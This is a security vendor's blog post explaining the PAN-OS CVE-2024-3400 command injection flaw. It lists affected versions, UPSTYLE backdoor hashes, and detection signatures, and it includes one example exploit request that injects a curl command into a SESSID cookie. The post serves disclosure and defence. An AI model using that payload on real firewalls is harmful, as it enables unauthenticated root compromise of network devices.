Free Trial
|
Login
Free Trial
Login
Platform

Platform

I want to

report
WHITEPAPER Picus Red Report 2024
white paper
DATASHEET Security Validation Platform
Use Cases

Use Cases

Frameworks

Group
WHITEPAPER Building a Robust Defense-in-Depth Strategy with Breach and Attack Simulation (BAS)
webinar
ON-DEMAND Top Ten ATT&CK Techniques: The Rise of ‘Hunter-Killer’ Malware
Research

RESEARCH

LEARNING

report (1)
REPORT 2024 Gartner® Peer Insights™ Voice of the Customer for Breach and Attack Simulation (BAS) Tools
report (1)
REPORT Blue Report: Effective Threat Exposure Management
Resources

RESOURCES

LEARNING

Group
WHITEPAPER Double Your Threat Blocking in 90 Days
webinar
UPCOMING WEBINAR Maximizing Cybersecurity with GenAI
Company

COMPANY

PARTNERS

webinar
UPCOMING WEBINAR Maximizing Cybersecurity with GenAI
Data sheet
DATASHEET The Pioneer of Breach & Attack Simulation
GET A DEMO

CVE-2024-3400: Palo Alto PAN-OS Command Injection Vulnerability Explained

Huseyin Can YUCEEL | April 18, 2024

The Red Report 2024

The Top 10 MITRE ATT&CK Techniques Used by Adversaries

DOWNLOAD

On April 12th, 2024, Palo Alto Networks disclosed a critical vulnerability affecting PAN-OS software used in security appliances like their next-generation firewalls [1]. CVE-2024-3400 is a command injection vulnerability with a CVSS score of 10.0 (Critical). The vulnerability allows adversaries to execute commands in Palo Alto firewalls with root privileges remotely. Considering its potential impact, organizations are advised to patch their vulnerable PAN-OS software as soon as possible.

In this blog, we explained how the Palo Alto PAN-OS CVE-2024-3400 vulnerability works and how organizations can defend against CVE-2024-3400 attacks.

SIMULATE THIS THREAT FOR FREE - NO SETUP

Palo Alto PAN-OS CVE-2024-3400 Vulnerability Explained

Palo Alto Networks Operating System (PAN-OS) is used as the foundational software platform for Palo Alto Networks' next-generation firewalls and other security appliances. On April 12th, 2024, Palo Alto released a security advisory about a command injection vulnerability affecting PAN-OS software. CVE-2024-3400 has a CVSS score of 10.0 (Critical) and can be exploited for unauthenticated remote code execution with root privileges in vulnerable PAN-OS versions. Since PAN-OS is used in many Palo Alto Firewall appliances, adversaries may abuse the CVE-2024-3400 vulnerability for initial access, persistence, data exfiltration, or lateral movement.

CVE-2024-3400 vulnerability affects the products below, and organizations are advised to patch their vulnerable PAN-OS software without delay.

Product Name

Affected Versions

Fixed Versions

PAN-OS 11.1

11.1.0-h3 or below

11.1.1-h1 or below

11.1.2-h3 or below

11.1.0-h3 or later

11.1.1-h1 or later

11.1.2-h3 or later

PAN-OS 11.0

11.0.2-h4 or below

11.0.3-h10 or below

11.0.4-h1 or below

11.0.2-h4 or later

11.0.3-h10 or later

11.0.4-h1 or later

PAN-OS 10.2

10.2.5-h6 or below

10.2.6-h3 or below

10.2.7-h8 or below

10.2.8-h3 or below

10.2.9-h1 or below

10.2.5-h6 or later

10.2.6-h3 or later

10.2.7-h8 or later

10.2.8-h3 or later

10.2.9-h1 or later

How Palo Alto CVE-2024-3400 Exploit Works?

CVE-2024-3400 is a command injection vulnerability found in the GlobalProtect feature of PAN-OS software. The telemetry functionality in the GlobalProtect uses the curl command to send logs from a temporary directory. Using malformed SESSID, adversaries were able to inject shell commands with root privileges via unauthenticated HTTP post requests. 

The example HTTP POST request below exploits the CVE-2024-3400 vulnerability. Note the curl{$IFS}example.com at the end of the SESSID.

POST/ssl-vpn/hipreport.esp HTTP/1.1
Cookie: SESSID=/../../../opt/panlogs/tmp/device_telemetry/minute/hello`curl{$IFS}example.com`;

Volexity discovered the use of CVE-2024-3400 vulnerability in the wild by a threat actor tracked as UTA0218 [2]. Adversaries exploited the vulnerability to deploy a python-based backdoor named UPSTYLE for persistent access to target organizations. 

Malware Name

MD5

SHA1

SHA256

UPSTYLE Backdoor

0c1554888ce9ed0da1583dbdf7b31651

988fc0d23e6e30c2c46ccec9bbff50b7453b8ba9

3de2a4392b8715bad070b2ae12243f166ead37830f7c6d24e778985927f9caac

How does Picus Help Simulate Palo Alto PAN-OS CVE-2024-3400 Attacks?

We also strongly suggest simulating the Palo Alto PAN-OS CVE-2024-3400 vulnerability to test the effectiveness of your security controls against sophisticated cyber attacks using the Picus Complete Security Validation Platform. You can also test your defenses against other vulnerability exploitation attacks, such as Log4Shell, Citrix Bleed, and Follina, within minutes with a 14-day free trial of the Picus Platform.

Picus Threat Library includes the following threats for Palo Alto PAN-OS CVE-2024-3400 vulnerability exploitation attacks:

Threat ID

Threat Name

Attack Module

39549

Palo Alto Networks Web Attack Campaign

Web Application

50903

UPSTYLE Backdoor Malware Download Threat

Network Infiltration

35140

UPSTYLE Backdoor Malware Email Threat

E-mail Infiltration (Phishing)

Picus also provides actionable mitigation content. Picus Mitigation Library includes prevention signatures to address Palo Alto PAN-OS CVE-2024-3400 vulnerability in preventive security controls. Currently, Picus Labs validated the following signatures for Palo Alto PAN-OS CVE-2024-3400 vulnerability:

Security Control

Signature ID

Signature Name

Check Point NGFW

Web Servers Malicious HTTP Header Directory Traversal

asm_dynamic_prop_DIR_TRAV_HEADERS

F5 BIG-IP

Directory Traversal attempt (Content)

200101550

Forcepoint NGFW

HTTP_CSH-Directory-Traversal-In-Session-Id-Cookie

  

Forcepoint NGFW

HTTP_CSH-Directory-Traversal-In-Cookie-Header

  

Fortigate IPS

HTTP.Unix.Shell.IFS.Remote.Code.Execution

45677

FortiWeb

Generic Attacks(Extended)

060150002

FortiWeb

Generic Attacks(Extended)

060010001

Imperva SecureSphere

Directory Traversal (In Cookies/Parameters Value)

  

Imperva SecureSphere

Directory Traversal - 40

  

Imperva SecureSphere

Directory Traversal - 555501307

  

Imperva SecureSphere

Directory Traversal - 37

  

ModSecurity

Path Traversal Attack (/../)

930100

ModSecurity

Remote Command Execution: Unix Command Injection

932100

ModSecurity

Remote Command Execution: Unix Shell Expression Found

932130

ModSecurity

Remote Command Execution: Unix Shell Code Found

932160

PaloAlto IPS

Palo Alto Networks GlobalProtect OS Command Injection Vulnerability

95187

Snort

SERVER-WEBAPP Palo Alto Networks Firewall directory traversal attempt

1.63309.1

TippingPointTPS

HTTP: Palo Alto Networks PAN-OS GlobalProtect Command Injection Vulnerability

44125


Start simulating emerging threats today and get actionable mitigation insights with a  14-day free trial of the Picus Complete Security Validation Platform.

References

[1] P. Psirt, “CVE-2024-3400 PAN-OS: OS Command Injection Vulnerability in GlobalProtect,” Palo Alto Networks Product Security Assurance, Apr. 12, 2024. Available: https://security.paloaltonetworks.com/CVE-2024-3400. [Accessed: Apr. 17, 2024]

[2] Volexity, “Zero-Day Exploitation of Unauthenticated Remote Code Execution Vulnerability in GlobalProtect (CVE-2024-3400),” Volexity, Apr. 12, 2024. Available: https://www.volexity.com/blog/2024/04/12/zero-day-exploitation-of-unauthenticated-remote-code-execution-vulnerability-in-globalprotect-cve-2024-3400/. [Accessed: Apr. 17, 2024]